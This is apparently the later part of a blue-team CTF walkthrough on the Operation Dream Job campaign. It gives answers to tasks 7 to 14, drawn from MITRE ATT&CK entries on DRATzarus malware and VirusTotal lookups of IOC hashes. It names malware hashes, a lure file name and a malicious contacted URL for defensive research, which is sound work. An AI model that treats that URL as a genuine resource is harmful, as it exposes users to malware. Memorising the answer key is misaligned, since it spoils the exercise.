
Go back to the Operation Dream Job Campaign Page. Scroll down to Software.

Operation Dream Job Software

Task 7 Answer: DRATzarus


Task 8: What technique did the malware use for execution?

Click the Software Link for DRATzarus and go to https://attack.mitre.org/software/S0694/

Use the Navigator Layers dropdown like we did before and load up its Enterprise Layer and go to Execution. Native API is highlighted.
DRATzarus Execution Technique

Task 8 Answer: Native API


Task 9: What technique did the malware use to avoid detection in a sandbox?

On the same page, under Discovery, there is a box called Virtualization/Sandbox Evasion. Its child box has the answer.
DRATzarus Evasion Technique

Task 9 Answer: Time Based Evasion


Task 10: To answer the remaining questions, utilize VirusTotal and refer to the IOCs.txt file. What is the name associated with the first hash provided in the IOC file?

Looking in the file, the first hash is 7bb93be636b332d0a142ff11aedb5bf0ff56deabba3aa02520c85bd99258406f

If we go to VirusTotal and put in that hash, it takes us here

Searching the First Hash on VirusTotal

After you search, it takes you to the page and the answer is right in the header.

First Hash Executable

Task 10 Answer: IEXPLORE.EXE


Task 11: When was the file associated with the second hash in the IOC first created?

Second hash from the file is adce894e3ce69c9822da57196707c7a15acee11319ccc963b84d83c23c3ea802. If we search it, it takes us here.

Details -> History -> Creation Time

The creation time of the second hash executable

Task 11 Answer: 2020-05-12 19:26:17


Task 12: What is the name of the parent execution file associated with the second hash in the IOC?

Same page, Relations -> Execution Parents

The execution parent of the second hash executable

Task 12 Answer: BAE_HPC_SE.iso


Task 13: Examine the third hash provided. What is the file name likely used in the campaign that aligns with the adversary’s known tactics?

Third hash from the file is 0160375e19e606d06f672be6e43f70fa70093d2a30031affd2929a5c446d07c1. If we search it, it takes us here.

Go to Details -> Names

Remember that according to the task, the victims of this were job seekers and that they used “fake job lures”, so…

The file name of the third hash executable

Task 13 Answer: Salary_Lockheed_Martin_job_opportunities_confidential.doc


Task 14: Which URL was contacted on 2022-08-03 by the file associated with the third hash in the IOC file?

Relations -> Contacted URLs, look for Scanned = 2022-08-03

The contacted url of the third executable

Task 14 Answer: https://markettrendingcenter.com/lk_job_oppor.docx


That’s it. I hope you enjoyed this little Blue Team exercise in researching some details of an attack from some artifacts!